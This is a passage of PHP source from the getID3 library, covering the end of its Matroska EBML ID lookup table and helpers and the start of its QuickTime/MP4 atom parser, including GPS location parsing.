$EBMLidList = array(); if (empty($EBMLidList)) { $EBMLidList[EBML_ID_ASPECTRATIOTYPE] = 'AspectRatioType'; $EBMLidList[EBML_ID_ATTACHEDFILE] = 'AttachedFile'; $EBMLidList[EBML_ID_ATTACHMENTLINK] = 'AttachmentLink'; $EBMLidList[EBML_ID_ATTACHMENTS] = 'Attachments'; $EBMLidList[EBML_ID_AUDIO] = 'Audio'; $EBMLidList[EBML_ID_BITDEPTH] = 'BitDepth'; $EBMLidList[EBML_ID_CHANNELPOSITIONS] = 'ChannelPositions'; $EBMLidList[EBML_ID_CHANNELS] = 'Channels'; $EBMLidList[EBML_ID_CHAPCOUNTRY] = 'ChapCountry'; $EBMLidList[EBML_ID_CHAPLANGUAGE] = 'ChapLanguage'; $EBMLidList[EBML_ID_CHAPPROCESS] = 'ChapProcess'; $EBMLidList[EBML_ID_CHAPPROCESSCODECID] = 'ChapProcessCodecID'; $EBMLidList[EBML_ID_CHAPPROCESSCOMMAND] = 'ChapProcessCommand'; $EBMLidList[EBML_ID_CHAPPROCESSDATA] = 'ChapProcessData'; $EBMLidList[EBML_ID_CHAPPROCESSPRIVATE] = 'ChapProcessPrivate'; $EBMLidList[EBML_ID_CHAPPROCESSTIME] = 'ChapProcessTime'; $EBMLidList[EBML_ID_CHAPSTRING] = 'ChapString'; $EBMLidList[EBML_ID_CHAPTERATOM] = 'ChapterAtom'; $EBMLidList[EBML_ID_CHAPTERDISPLAY] = 'ChapterDisplay'; $EBMLidList[EBML_ID_CHAPTERFLAGENABLED] = 'ChapterFlagEnabled'; $EBMLidList[EBML_ID_CHAPTERFLAGHIDDEN] = 'ChapterFlagHidden'; $EBMLidList[EBML_ID_CHAPTERPHYSICALEQUIV] = 'ChapterPhysicalEquiv'; $EBMLidList[EBML_ID_CHAPTERS] = 'Chapters'; $EBMLidList[EBML_ID_CHAPTERSEGMENTEDITIONUID] = 'ChapterSegmentEditionUID'; $EBMLidList[EBML_ID_CHAPTERSEGMENTUID] = 'ChapterSegmentUID'; $EBMLidList[EBML_ID_CHAPTERTIMEEND] = 'ChapterTimeEnd'; $EBMLidList[EBML_ID_CHAPTERTIMESTART] = 'ChapterTimeStart'; $EBMLidList[EBML_ID_CHAPTERTRACK] = 'ChapterTrack'; $EBMLidList[EBML_ID_CHAPTERTRACKNUMBER] = 'ChapterTrackNumber'; $EBMLidList[EBML_ID_CHAPTERTRANSLATE] = 'ChapterTranslate'; $EBMLidList[EBML_ID_CHAPTERTRANSLATECODEC] = 'ChapterTranslateCodec'; $EBMLidList[EBML_ID_CHAPTERTRANSLATEEDITIONUID] = 'ChapterTranslateEditionUID'; $EBMLidList[EBML_ID_CHAPTERTRANSLATEID] = 'ChapterTranslateID'; $EBMLidList[EBML_ID_CHAPTERUID] = 'ChapterUID'; $EBMLidList[EBML_ID_CLUSTER] = 'Cluster'; $EBMLidList[EBML_ID_CLUSTERBLOCK] = 'ClusterBlock'; $EBMLidList[EBML_ID_CLUSTERBLOCKADDID] = 'ClusterBlockAddID'; $EBMLidList[EBML_ID_CLUSTERBLOCKADDITIONAL] = 'ClusterBlockAdditional'; $EBMLidList[EBML_ID_CLUSTERBLOCKADDITIONID] = 'ClusterBlockAdditionID'; $EBMLidList[EBML_ID_CLUSTERBLOCKADDITIONS] = 'ClusterBlockAdditions'; $EBMLidList[EBML_ID_CLUSTERBLOCKDURATION] = 'ClusterBlockDuration'; $EBMLidList[EBML_ID_CLUSTERBLOCKGROUP] = 'ClusterBlockGroup'; $EBMLidList[EBML_ID_CLUSTERBLOCKMORE] = 'ClusterBlockMore'; $EBMLidList[EBML_ID_CLUSTERBLOCKVIRTUAL] = 'ClusterBlockVirtual'; $EBMLidList[EBML_ID_CLUSTERCODECSTATE] = 'ClusterCodecState'; $EBMLidList[EBML_ID_CLUSTERDELAY] = 'ClusterDelay'; $EBMLidList[EBML_ID_CLUSTERDURATION] = 'ClusterDuration'; $EBMLidList[EBML_ID_CLUSTERENCRYPTEDBLOCK] = 'ClusterEncryptedBlock'; $EBMLidList[EBML_ID_CLUSTERFRAMENUMBER] = 'ClusterFrameNumber'; $EBMLidList[EBML_ID_CLUSTERLACENUMBER] = 'ClusterLaceNumber'; $EBMLidList[EBML_ID_CLUSTERPOSITION] = 'ClusterPosition'; $EBMLidList[EBML_ID_CLUSTERPREVSIZE] = 'ClusterPrevSize'; $EBMLidList[EBML_ID_CLUSTERREFERENCEBLOCK] = 'ClusterReferenceBlock'; $EBMLidList[EBML_ID_CLUSTERREFERENCEPRIORITY] = 'ClusterReferencePriority'; $EBMLidList[EBML_ID_CLUSTERREFERENCEVIRTUAL] = 'ClusterReferenceVirtual'; $EBMLidList[EBML_ID_CLUSTERSILENTTRACKNUMBER] = 'ClusterSilentTrackNumber'; $EBMLidList[EBML_ID_CLUSTERSILENTTRACKS] = 'ClusterSilentTracks'; $EBMLidList[EBML_ID_CLUSTERSIMPLEBLOCK] = 'ClusterSimpleBlock'; $EBMLidList[EBML_ID_CLUSTERTIMECODE] = 'ClusterTimecode'; $EBMLidList[EBML_ID_CLUSTERTIMESLICE] = 'ClusterTimeSlice'; $EBMLidList[EBML_ID_CODECDECODEALL] = 'CodecDecodeAll'; $EBMLidList[EBML_ID_CODECDOWNLOADURL] = 'CodecDownloadURL'; $EBMLidList[EBML_ID_CODECID] = 'CodecID'; $EBMLidList[EBML_ID_CODECINFOURL] = 'CodecInfoURL'; $EBMLidList[EBML_ID_CODECNAME] = 'CodecName'; $EBMLidList[EBML_ID_CODECPRIVATE] = 'CodecPrivate'; $EBMLidList[EBML_ID_CODECSETTINGS] = 'CodecSettings'; $EBMLidList[EBML_ID_COLOURSPACE] = 'ColourSpace'; $EBMLidList[EBML_ID_CONTENTCOMPALGO] = 'ContentCompAlgo'; $EBMLidList[EBML_ID_CONTENTCOMPRESSION] = 'ContentCompression'; $EBMLidList[EBML_ID_CONTENTCOMPSETTINGS] = 'ContentCompSettings'; $EBMLidList[EBML_ID_CONTENTENCALGO] = 'ContentEncAlgo'; $EBMLidList[EBML_ID_CONTENTENCKEYID] = 'ContentEncKeyID'; $EBMLidList[EBML_ID_CONTENTENCODING] = 'ContentEncoding'; $EBMLidList[EBML_ID_CONTENTENCODINGORDER] = 'ContentEncodingOrder'; $EBMLidList[EBML_ID_CONTENTENCODINGS] = 'ContentEncodings'; $EBMLidList[EBML_ID_CONTENTENCODINGSCOPE] = 'ContentEncodingScope'; $EBMLidList[EBML_ID_CONTENTENCODINGTYPE] = 'ContentEncodingType'; $EBMLidList[EBML_ID_CONTENTENCRYPTION] = 'ContentEncryption'; $EBMLidList[EBML_ID_CONTENTSIGALGO] = 'ContentSigAlgo'; $EBMLidList[EBML_ID_CONTENTSIGHASHALGO] = 'ContentSigHashAlgo'; $EBMLidList[EBML_ID_CONTENTSIGKEYID] = 'ContentSigKeyID'; $EBMLidList[EBML_ID_CONTENTSIGNATURE] = 'ContentSignature'; $EBMLidList[EBML_ID_CRC32] = 'CRC32'; $EBMLidList[EBML_ID_CUEBLOCKNUMBER] = 'CueBlockNumber'; $EBMLidList[EBML_ID_CUECLUSTERPOSITION] = 'CueClusterPosition'; $EBMLidList[EBML_ID_CUECODECSTATE] = 'CueCodecState'; $EBMLidList[EBML_ID_CUEPOINT] = 'CuePoint'; $EBMLidList[EBML_ID_CUEREFCLUSTER] = 'CueRefCluster'; $EBMLidList[EBML_ID_CUEREFCODECSTATE] = 'CueRefCodecState'; $EBMLidList[EBML_ID_CUEREFERENCE] = 'CueReference'; $EBMLidList[EBML_ID_CUEREFNUMBER] = 'CueRefNumber'; $EBMLidList[EBML_ID_CUEREFTIME] = 'CueRefTime'; $EBMLidList[EBML_ID_CUES] = 'Cues'; $EBMLidList[EBML_ID_CUETIME] = 'CueTime'; $EBMLidList[EBML_ID_CUETRACK] = 'CueTrack'; $EBMLidList[EBML_ID_CUETRACKPOSITIONS] = 'CueTrackPositions'; $EBMLidList[EBML_ID_DATEUTC] = 'DateUTC'; $EBMLidList[EBML_ID_DEFAULTDURATION] = 'DefaultDuration'; $EBMLidList[EBML_ID_DISPLAYHEIGHT] = 'DisplayHeight'; $EBMLidList[EBML_ID_DISPLAYUNIT] = 'DisplayUnit'; $EBMLidList[EBML_ID_DISPLAYWIDTH] = 'DisplayWidth'; $EBMLidList[EBML_ID_DOCTYPE] = 'DocType'; $EBMLidList[EBML_ID_DOCTYPEREADVERSION] = 'DocTypeReadVersion'; $EBMLidList[EBML_ID_DOCTYPEVERSION] = 'DocTypeVersion'; $EBMLidList[EBML_ID_DURATION] = 'Duration'; $EBMLidList[EBML_ID_EBML] = 'EBML'; $EBMLidList[EBML_ID_EBMLMAXIDLENGTH] = 'EBMLMaxIDLength'; $EBMLidList[EBML_ID_EBMLMAXSIZELENGTH] = 'EBMLMaxSizeLength'; $EBMLidList[EBML_ID_EBMLREADVERSION] = 'EBMLReadVersion'; $EBMLidList[EBML_ID_EBMLVERSION] = 'EBMLVersion'; $EBMLidList[EBML_ID_EDITIONENTRY] = 'EditionEntry'; $EBMLidList[EBML_ID_EDITIONFLAGDEFAULT] = 'EditionFlagDefault'; $EBMLidList[EBML_ID_EDITIONFLAGHIDDEN] = 'EditionFlagHidden'; $EBMLidList[EBML_ID_EDITIONFLAGORDERED] = 'EditionFlagOrdered'; $EBMLidList[EBML_ID_EDITIONUID] = 'EditionUID'; $EBMLidList[EBML_ID_FILEDATA] = 'FileData'; $EBMLidList[EBML_ID_FILEDESCRIPTION] = 'FileDescription'; $EBMLidList[EBML_ID_FILEMIMETYPE] = 'FileMimeType'; $EBMLidList[EBML_ID_FILENAME] = 'FileName'; $EBMLidList[EBML_ID_FILEREFERRAL] = 'FileReferral'; $EBMLidList[EBML_ID_FILEUID] = 'FileUID'; $EBMLidList[EBML_ID_FLAGDEFAULT] = 'FlagDefault'; $EBMLidList[EBML_ID_FLAGENABLED] = 'FlagEnabled'; $EBMLidList[EBML_ID_FLAGFORCED] = 'FlagForced'; $EBMLidList[EBML_ID_FLAGINTERLACED] = 'FlagInterlaced'; $EBMLidList[EBML_ID_FLAGLACING] = 'FlagLacing'; $EBMLidList[EBML_ID_GAMMAVALUE] = 'GammaValue'; $EBMLidList[EBML_ID_INFO] = 'Info'; $EBMLidList[EBML_ID_LANGUAGE] = 'Language'; $EBMLidList[EBML_ID_MAXBLOCKADDITIONID] = 'MaxBlockAdditionID'; $EBMLidList[EBML_ID_MAXCACHE] = 'MaxCache'; $EBMLidList[EBML_ID_MINCACHE] = 'MinCache'; $EBMLidList[EBML_ID_MUXINGAPP] = 'MuxingApp'; $EBMLidList[EBML_ID_NAME] = 'Name'; $EBMLidList[EBML_ID_NEXTFILENAME] = 'NextFilename'; $EBMLidList[EBML_ID_NEXTUID] = 'NextUID'; $EBMLidList[EBML_ID_OUTPUTSAMPLINGFREQUENCY] = 'OutputSamplingFrequency'; $EBMLidList[EBML_ID_PIXELCROPBOTTOM] = 'PixelCropBottom'; $EBMLidList[EBML_ID_PIXELCROPLEFT] = 'PixelCropLeft'; $EBMLidList[EBML_ID_PIXELCROPRIGHT] = 'PixelCropRight'; $EBMLidList[EBML_ID_PIXELCROPTOP] = 'PixelCropTop'; $EBMLidList[EBML_ID_PIXELHEIGHT] = 'PixelHeight'; $EBMLidList[EBML_ID_PIXELWIDTH] = 'PixelWidth'; $EBMLidList[EBML_ID_PREVFILENAME] = 'PrevFilename'; $EBMLidList[EBML_ID_PREVUID] = 'PrevUID'; $EBMLidList[EBML_ID_SAMPLINGFREQUENCY] = 'SamplingFrequency'; $EBMLidList[EBML_ID_SEEK] = 'Seek'; $EBMLidList[EBML_ID_SEEKHEAD] = 'SeekHead'; $EBMLidList[EBML_ID_SEEKID] = 'SeekID'; $EBMLidList[EBML_ID_SEEKPOSITION] = 'SeekPosition'; $EBMLidList[EBML_ID_SEGMENT] = 'Segment'; $EBMLidList[EBML_ID_SEGMENTFAMILY] = 'SegmentFamily'; $EBMLidList[EBML_ID_SEGMENTFILENAME] = 'SegmentFilename'; $EBMLidList[EBML_ID_SEGMENTUID] = 'SegmentUID'; $EBMLidList[EBML_ID_SIMPLETAG] = 'SimpleTag'; $EBMLidList[EBML_ID_CLUSTERSLICES] = 'ClusterSlices'; $EBMLidList[EBML_ID_STEREOMODE] = 'StereoMode'; $EBMLidList[EBML_ID_OLDSTEREOMODE] = 'OldStereoMode'; $EBMLidList[EBML_ID_TAG] = 'Tag'; $EBMLidList[EBML_ID_TAGATTACHMENTUID] = 'TagAttachmentUID'; $EBMLidList[EBML_ID_TAGBINARY] = 'TagBinary'; $EBMLidList[EBML_ID_TAGCHAPTERUID] = 'TagChapterUID'; $EBMLidList[EBML_ID_TAGDEFAULT] = 'TagDefault'; $EBMLidList[EBML_ID_TAGEDITIONUID] = 'TagEditionUID'; $EBMLidList[EBML_ID_TAGLANGUAGE] = 'TagLanguage'; $EBMLidList[EBML_ID_TAGNAME] = 'TagName'; $EBMLidList[EBML_ID_TAGTRACKUID] = 'TagTrackUID'; $EBMLidList[EBML_ID_TAGS] = 'Tags'; $EBMLidList[EBML_ID_TAGSTRING] = 'TagString'; $EBMLidList[EBML_ID_TARGETS] = 'Targets'; $EBMLidList[EBML_ID_TARGETTYPE] = 'TargetType'; $EBMLidList[EBML_ID_TARGETTYPEVALUE] = 'TargetTypeValue'; $EBMLidList[EBML_ID_TIMECODESCALE] = 'TimecodeScale'; $EBMLidList[EBML_ID_TITLE] = 'Title'; $EBMLidList[EBML_ID_TRACKENTRY] = 'TrackEntry'; $EBMLidList[EBML_ID_TRACKNUMBER] = 'TrackNumber'; $EBMLidList[EBML_ID_TRACKOFFSET] = 'TrackOffset'; $EBMLidList[EBML_ID_TRACKOVERLAY] = 'TrackOverlay'; $EBMLidList[EBML_ID_TRACKS] = 'Tracks'; $EBMLidList[EBML_ID_TRACKTIMECODESCALE] = 'TrackTimecodeScale'; $EBMLidList[EBML_ID_TRACKTRANSLATE] = 'TrackTranslate'; $EBMLidList[EBML_ID_TRACKTRANSLATECODEC] = 'TrackTranslateCodec'; $EBMLidList[EBML_ID_TRACKTRANSLATEEDITIONUID] = 'TrackTranslateEditionUID'; $EBMLidList[EBML_ID_TRACKTRANSLATETRACKID] = 'TrackTranslateTrackID'; $EBMLidList[EBML_ID_TRACKTYPE] = 'TrackType'; $EBMLidList[EBML_ID_TRACKUID] = 'TrackUID'; $EBMLidList[EBML_ID_VIDEO] = 'Video'; $EBMLidList[EBML_ID_VOID] = 'Void'; $EBMLidList[EBML_ID_WRITINGAPP] = 'WritingApp'; } return (isset($EBMLidList[$value]) ? $EBMLidList[$value] : dechex($value)); } /** * @param int $value * * @return string */ public static function displayUnit($value) { // http://www.matroska.org/technical/specs/index.html#DisplayUnit static $units = array( 0 => 'pixels', 1 => 'centimeters', 2 => 'inches', 3 => 'Display Aspect Ratio'); return (isset($units[$value]) ? $units[$value] : 'unknown'); } /** * @param array $streams * * @return array */ private static function getDefaultStreamInfo($streams) { $stream = array(); foreach (array_reverse($streams) as $stream) { if ($stream['default']) { break; } } $unset = array('default', 'name'); foreach ($unset as $u) { if (isset($stream[$u])) { unset($stream[$u]); } } $info = $stream; $info['streams'] = $streams; return $info; } } ID3/module.audio-video.quicktime.php000064400000501403151202620270013317 0ustar00 // // available at https://github.com/JamesHeinrich/getID3 // // or https://www.getid3.org // // or http://getid3.sourceforge.net // // see readme.txt for more details // ///////////////////////////////////////////////////////////////// // // // module.audio-video.quicktime.php // // module for analyzing Quicktime and MP3-in-MP4 files // // dependencies: module.audio.mp3.php // // dependencies: module.tag.id3v2.php // // /// ///////////////////////////////////////////////////////////////// if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers exit; } getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.mp3.php', __FILE__, true); getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.id3v2.php', __FILE__, true); // needed for ISO 639-2 language code lookup class getid3_quicktime extends getid3_handler { public $ReturnAtomData = true; public $ParseAllPossibleAtoms = false; /** * @return bool */ public function Analyze() { $info = &$this->getid3->info; $info['fileformat'] = 'quicktime'; $info['quicktime']['hinting'] = false; $info['quicktime']['controller'] = 'standard'; // may be overridden if 'ctyp' atom is present $this->fseek($info['avdataoffset']); $offset = 0; $atomcounter = 0; $atom_data_read_buffer_size = $info['php_memory_limit'] ? round($info['php_memory_limit'] / 4) : $this->getid3->option_fread_buffer_size * 1024; // set read buffer to 25% of PHP memory limit (if one is specified), otherwise use option_fread_buffer_size [default: 32MB] while ($offset < $info['avdataend']) { if (!getid3_lib::intValueSupported($offset)) { $this->error('Unable to parse atom at offset '.$offset.' because beyond '.round(PHP_INT_MAX / 1073741824).'GB limit of PHP filesystem functions'); break; } $this->fseek($offset); $AtomHeader = $this->fread(8); $atomsize = getid3_lib::BigEndian2Int(substr($AtomHeader, 0, 4)); $atomname = substr($AtomHeader, 4, 4); // 64-bit MOV patch by jlegateØktnc*com if ($atomsize == 1) { $atomsize = getid3_lib::BigEndian2Int($this->fread(8)); } if (($offset + $atomsize) > $info['avdataend']) { $info['quicktime'][$atomname]['name'] = $atomname; $info['quicktime'][$atomname]['size'] = $atomsize; $info['quicktime'][$atomname]['offset'] = $offset; $this->error('Atom at offset '.$offset.' claims to go beyond end-of-file (length: '.$atomsize.' bytes)'); return false; } if ($atomsize == 0) { // Furthermore, for historical reasons the list of atoms is optionally // terminated by a 32-bit integer set to 0. If you are writing a program // to read user data atoms, you should allow for the terminating 0. $info['quicktime'][$atomname]['name'] = $atomname; $info['quicktime'][$atomname]['size'] = $atomsize; $info['quicktime'][$atomname]['offset'] = $offset; break; } $atomHierarchy = array(); $parsedAtomData = $this->QuicktimeParseAtom($atomname, $atomsize, $this->fread(min($atomsize, $atom_data_read_buffer_size)), $offset, $atomHierarchy, $this->ParseAllPossibleAtoms); $parsedAtomData['name'] = $atomname; $parsedAtomData['size'] = $atomsize; $parsedAtomData['offset'] = $offset; if (in_array($atomname, array('uuid'))) { @$info['quicktime'][$atomname][] = $parsedAtomData; } else { $info['quicktime'][$atomname] = $parsedAtomData; } $offset += $atomsize; $atomcounter++; } if (!empty($info['avdataend_tmp'])) { // this value is assigned to a temp value and then erased because // otherwise any atoms beyond the 'mdat' atom would not get parsed $info['avdataend'] = $info['avdataend_tmp']; unset($info['avdataend_tmp']); } if (!empty($info['quicktime']['comments']['chapters']) && is_array($info['quicktime']['comments']['chapters']) && (count($info['quicktime']['comments']['chapters']) > 0)) { $durations = $this->quicktime_time_to_sample_table($info); for ($i = 0; $i < count($info['quicktime']['comments']['chapters']); $i++) { $bookmark = array(); $bookmark['title'] = $info['quicktime']['comments']['chapters'][$i]; if (isset($durations[$i])) { $bookmark['duration_sample'] = $durations[$i]['sample_duration']; if ($i > 0) { $bookmark['start_sample'] = $info['quicktime']['bookmarks'][($i - 1)]['start_sample'] + $info['quicktime']['bookmarks'][($i - 1)]['duration_sample']; } else { $bookmark['start_sample'] = 0; } if ($time_scale = $this->quicktime_bookmark_time_scale($info)) { $bookmark['duration_seconds'] = $bookmark['duration_sample'] / $time_scale; $bookmark['start_seconds'] = $bookmark['start_sample'] / $time_scale; } } $info['quicktime']['bookmarks'][] = $bookmark; } } if (isset($info['quicktime']['temp_meta_key_names'])) { unset($info['quicktime']['temp_meta_key_names']); } if (!empty($info['quicktime']['comments']['location.ISO6709'])) { // https://en.wikipedia.org/wiki/ISO_6709 foreach ($info['quicktime']['comments']['location.ISO6709'] as $ISO6709string) { $ISO6709parsed = array('latitude'=>false, 'longitude'=>false, 'altitude'=>false); if (preg_match('#^([\\+\\-])([0-9]{2}|[0-9]{4}|[0-9]{6})(\\.[0-9]+)?([\\+\\-])([0-9]{3}|[0-9]{5}|[0-9]{7})(\\.[0-9]+)?(([\\+\\-])([0-9]{3}|[0-9]{5}|[0-9]{7})(\\.[0-9]+)?)?/$#', $ISO6709string, $matches)) { // phpcs:ignore PHPCompatibility.Lists.AssignmentOrder.Affected @list($dummy, $lat_sign, $lat_deg, $lat_deg_dec, $lon_sign, $lon_deg, $lon_deg_dec, $dummy, $alt_sign, $alt_deg, $alt_deg_dec) = $matches; if (strlen($lat_deg) == 2) { // [+-]DD.D $ISO6709parsed['latitude'] = (($lat_sign == '-') ? -1 : 1) * floatval(ltrim($lat_deg, '0').$lat_deg_dec); } elseif (strlen($lat_deg) == 4) { // [+-]DDMM.M $ISO6709parsed['latitude'] = (($lat_sign == '-') ? -1 : 1) * floatval(ltrim(substr($lat_deg, 0, 2), '0')) + floatval(ltrim(substr($lat_deg, 2, 2), '0').$lat_deg_dec / 60); } elseif (strlen($lat_deg) == 6) { // [+-]DDMMSS.S $ISO6709parsed['latitude'] = (($lat_sign == '-') ? -1 : 1) * floatval(ltrim(substr($lat_deg, 0, 2), '0')) + floatval(ltrim(substr($lat_deg, 2, 2), '0') / 60) + floatval(ltrim(substr($lat_deg, 4, 2), '0').$lat_deg_dec / 3600); } if (strlen($lon_deg) == 3) { // [+-]DDD.D $ISO6709parsed['longitude'] = (($lon_sign == '-') ? -1 : 1) * floatval(ltrim($lon_deg, '0').$lon_deg_dec); } elseif (strlen($lon_deg) == 5) { // [+-]DDDMM.M $ISO6709parsed['longitude'] = (($lon_sign == '-') ? -1 : 1) * floatval(ltrim(substr($lon_deg, 0, 2), '0')) + floatval(ltrim(substr($lon_deg, 2, 2), '0').$lon_deg_dec / 60); } elseif (strlen($lon_deg) == 7) { // [+-]DDDMMSS.S $ISO6709parsed['longitude'] = (($lon_sign == '-') ? -1 : 1) * floatval(ltrim(substr($lon_deg, 0, 2), '0')) + floatval(ltrim(substr($lon_deg, 2, 2), '0') / 60) + floatval(ltrim(substr($lon_deg, 4, 2), '0').$lon_deg_dec / 3600); } if (strlen($alt_deg) == 3) { // [+-]DDD.D $ISO6709parsed['altitude'] = (($alt_sign == '-') ? -1 : 1) * floatval(ltrim($alt_deg, '0').$alt_deg_dec); } elseif (strlen($alt_deg) == 5) { // [+-]DDDMM.M $ISO6709parsed['altitude'] = (($alt_sign == '-') ? -1 : 1) * floatval(ltrim(substr($alt_deg, 0, 2), '0')) + floatval(ltrim(substr($alt_deg, 2, 2), '0').$alt_deg_dec / 60); } elseif (strlen($alt_deg) == 7) { // [+-]DDDMMSS.S $ISO6709parsed['altitude'] = (($alt_sign == '-') ? -1 : 1) * floatval(ltrim(substr($alt_deg, 0, 2), '0')) + floatval(ltrim(substr($alt_deg, 2, 2), '0') / 60) + floatval(ltrim(substr($alt_deg, 4, 2), '0').$alt_deg_dec / 3600); } foreach (array('latitude', 'longitude', 'altitude') as $key) { if ($ISO6709parsed[$key] !== false) { $value = (($lat_sign == '-') ? -1 : 1) * floatval($ISO6709parsed[$key]); if (!isset($info['quicktime']['comments']['gps_'.$key]) || !in_array($value, $info['quicktime']['comments']['gps_'.$key])) { @$info['quicktime']['comments']['gps_'.$key][] = (($lat_sign == '-') ? -1 : 1) * floatval($ISO6709parsed[$key]); } } } } if ($ISO6709parsed['latitude'] === false) { $this->warning('location.ISO6709 string not parsed correctly: "'.$ISO6709string.'", please submit as a bug'); } break; } } if (!isset($info['bitrate']) && isset($info['playtime_seconds'])) { $info['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds']; } if (isset($info['bitrate']) && !isset($info['audio']['bitrate']) && !isset($info['quicktime']['video'])) { $info['audio']['bitrate'] = $info['bitrate']; } if (!empty($info['bitrate']) && !empty($info['audio']['bitrate']) && empty($info['video']['bitrate']) && !empty($info['video']['frame_rate']) && !empty($info['video']['resolution_x']) && ($info['bitrate'] > $info['audio']['bitrate'])) { $info['video']['bitrate'] = $info['bitrate'] - $info['audio']['bitrate']; } if (!empty($info['playtime_seconds']) && !isset($info['video']['frame_rate']) && !empty($info['quicktime']['stts_framecount'])) { foreach ($info['quicktime']['stts_framecount'] as $key => $samples_count) { $samples_per_second = $samples_count / $info['playtime_seconds']; if ($samples_per_second > 240) { // has to be audio samples } else { $info['video']['frame_rate'] = $samples_per_second; break; } } } if ($info['audio']['dataformat'] == 'mp4') { $info['fileformat'] = 'mp4'; if (empty($info['video']['resolution_x'])) { $info['mime_type'] = 'audio/mp4'; unset($info['video']['dataformat']); } else { $info['mime_type'] = 'video/mp4'; } } if (!$this->ReturnAtomData) { unset($info['quicktime']['moov']); } if (empty($info['audio']['dataformat']) && !empty($info['quicktime']['audio'])) { $info['audio']['dataformat'] = 'quicktime'; } if (empty($info['video']['dataformat']) && !empty($info['quicktime']['video'])) { $info['video']['dataformat'] = 'quicktime'; } if (isset($info['video']) && ($info['mime_type'] == 'audio/mp4') && empty($info['video']['resolution_x']) && empty($info['video']['resolution_y'])) { unset($info['video']); } return true; } /** * @param string $atomname * @param int $atomsize * @param string $atom_data * @param int $baseoffset * @param array $atomHierarchy * @param bool $ParseAllPossibleAtoms * * @return array|false */ public function QuicktimeParseAtom($atomname, $atomsize, $atom_data, $baseoffset, &$atomHierarchy, $ParseAllPossibleAtoms) { // http://developer.apple.com/techpubs/quicktime/qtdevdocs/APIREF/INDEX/atomalphaindex.htm // https://code.google.com/p/mp4v2/wiki/iTunesMetadata $info = &$this->getid3->info; $atom_parent = end($atomHierarchy); // not array_pop($atomHierarchy); see https://www.getid3.org/phpBB3/viewtopic.php?t=1717 array_push($atomHierarchy, $atomname); $atom_structure = array(); $atom_structure['hierarchy'] = implode(' ', $atomHierarchy); $atom_structure['name'] = $atomname; $atom_structure['size'] = $atomsize; $atom_structure['offset'] = $baseoffset; if (substr($atomname, 0, 3) == "\x00\x00\x00") { // https://github.com/JamesHeinrich/getID3/issues/139 $atomname = getid3_lib::BigEndian2Int($atomname); $atom_structure['name'] = $atomname; $atom_structure['subatoms'] = $this->QuicktimeParseContainerAtom($atom_data, $baseoffset + 8, $atomHierarchy, $ParseAllPossibleAtoms); } else { switch ($atomname) { case 'moov': // MOVie container atom case 'trak': // TRAcK container atom case 'clip': // CLIPping container atom case 'matt': // track MATTe container atom case 'edts': // EDiTS container atom case 'tref': // Track REFerence container atom case 'mdia': // MeDIA container atom case 'minf': // Media INFormation container atom case 'dinf': // Data INFormation container atom case 'nmhd': // Null Media HeaDer container atom case 'udta': // User DaTA container atom case 'cmov': // Compressed MOVie container atom case 'rmra': // Reference Movie Record Atom case 'rmda': // Reference Movie Descriptor Atom case 'gmhd': // Generic Media info HeaDer atom (seen on QTVR) $atom_structure['subatoms'] = $this->QuicktimeParseContainerAtom($atom_data, $baseoffset + 8, $atomHierarchy, $ParseAllPossibleAtoms); break; case 'ilst': // Item LiST container atom if ($atom_structure['subatoms'] = $this->QuicktimeParseContainerAtom($atom_data, $baseoffset + 8, $atomHierarchy, $ParseAllPossibleAtoms)) { // some "ilst" atoms contain data atoms that have a numeric name, and the data is far more accessible if the returned array is compacted $allnumericnames = true; foreach ($atom_structure['subatoms'] as $subatomarray) { if (!is_integer($subatomarray['name']) || (count($subatomarray['subatoms']) != 1)) { $allnumericnames = false; break; } } if ($allnumericnames) { $newData = array(); foreach ($atom_structure['subatoms'] as $subatomarray) { foreach ($subatomarray['subatoms'] as $newData_subatomarray) { unset($newData_subatomarray['hierarchy'], $newData_subatomarray['name']); $newData[$subatomarray['name']] = $newData_subatomarray; break; } } $atom_structure['data'] = $newData; unset($atom_structure['subatoms']); } } break; case 'stbl': // Sample TaBLe container atom $atom_structure['subatoms'] = $this->QuicktimeParseContainerAtom($atom_data, $baseoffset + 8, $atomHierarchy, $ParseAllPossibleAtoms); $isVideo = false; $framerate = 0; $framecount = 0; foreach ($atom_structure['subatoms'] as $key => $value_array) { if (isset($value_array['sample_description_table'])) { foreach ($value_array['sample_description_table'] as $key2 => $value_array2) { if (isset($value_array2['data_format'])) { switch ($value_array2['data_format']) { case 'avc1': case 'mp4v': // video data $isVideo = true; break; case 'mp4a': // audio data break; } } } } elseif (isset($value_array['time_to_sample_table'])) { foreach ($value_array['time_to_sample_table'] as $key2 => $value_array2) { if (isset($value_array2['sample_count']) && isset($value_array2['sample_duration']) && ($value_array2['sample_duration'] > 0)) { $framerate = round($info['quicktime']['time_scale'] / $value_array2['sample_duration'], 3); $framecount = $value_array2['sample_count']; } } } } if ($isVideo && $framerate) { $info['quicktime']['video']['frame_rate'] = $framerate; $info['video']['frame_rate'] = $info['quicktime']['video']['frame_rate']; } if ($isVideo && $framecount) { $info['quicktime']['video']['frame_count'] = $framecount; } break; case "\xA9".'alb': // ALBum case "\xA9".'ART': // case "\xA9".'art': // ARTist case "\xA9".'aut': // case "\xA9".'cmt': // CoMmenT case "\xA9".'com': // COMposer case "\xA9".'cpy': // case "\xA9".'day': // content created year case "\xA9".'dir': // case "\xA9".'ed1': // case "\xA9".'ed2': // case "\xA9".'ed3': // case "\xA9".'ed4': // case "\xA9".'ed5': // case "\xA9".'ed6': // case "\xA9".'ed7': // case "\xA9".'ed8': // case "\xA9".'ed9': // case "\xA9".'enc': // case "\xA9".'fmt': // case "\xA9".'gen': // GENre case "\xA9".'grp': // GRouPing case "\xA9".'hst': // case "\xA9".'inf': // case "\xA9".'lyr': // LYRics case "\xA9".'mak': // case "\xA9".'mod': // case "\xA9".'nam': // full NAMe case "\xA9".'ope': // case "\xA9".'PRD': // case "\xA9".'prf': // case "\xA9".'req': // case "\xA9".'src': // case "\xA9".'swr': // case "\xA9".'too': // encoder case "\xA9".'trk': // TRacK case "\xA9".'url': // case "\xA9".'wrn': // case "\xA9".'wrt': // WRiTer case '----': // itunes specific case 'aART': // Album ARTist case 'akID': // iTunes store account type case 'apID': // Purchase Account case 'atID': // case 'catg': // CaTeGory case 'cmID': // case 'cnID': // case 'covr': // COVeR artwork case 'cpil': // ComPILation case 'cprt': // CoPyRighT case 'desc': // 